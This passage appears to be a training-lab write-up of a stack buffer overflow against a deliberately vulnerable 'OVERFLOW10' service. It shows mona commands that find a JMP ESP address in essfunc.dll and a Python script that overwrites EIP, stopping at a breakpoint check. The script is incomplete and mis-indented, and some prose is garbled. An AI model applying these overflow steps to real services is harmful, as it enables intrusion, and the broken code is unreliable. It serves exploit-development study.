Finding a Return Address

This Return Address would be written in the EIP and used to direct the application to where our payload will be located! would be used for this as well.

Listing all modules

The following command returns a bunch of programs/dependencies that our software in question uses/calls when operating. We notice that one of them has no memory protection or whatsoever. This would be useful for the process.

!mona modules

Analyzing Output

Log data, item 12
 Message= 0x62500000 | 0x62508000 | 0x00008000 | False  | False   | False |  False   | False  | -1.0- [essfunc.dll] (C:\Users\admin\Desktop\vulnapps\oscp\essfunc.dll)

Searching through the output, essfunc.dll seems to have most of the protections turned off which would allow for this attack to go through.

Locating OpCode syscall

Generating OpCode

The next step would be to generate the opt code for “JMP ESP” so that we can look for it in essfunc.dll. We will be using msf-nasm_shell for this.


Finding JMP ESP

!mona find -s "\xff\xe4" -m "essfunc.dll"
Log data, item 11
 Message=  0x625011af : "\xff\xe4" |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\admin\Desktop\vulnapps\oscp\essfunc.dll)


Hitting Offset

Now that we have an offset, we can try setting a breakpoint and hitting to verify that we have full control.

Setting breakpoint

Then, hit F2 to set the breakpoint

import socket

    print ("\nSending evil buffer...")
    prefix = "OVERFLOW10 "
    filler = "A" * 537 
    eip = "\xaf\x11\x50\x62" #0x625011AF
    buffer = prefix + filler + eip

    s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)

    s.connect(("", 1337))


    print ("\nDone!")
    print ("\nCould not connect!")

Hitting breakpoint


Our debugger shows that we did hit the JMP ESP and hit the breakpoint that we set previously.

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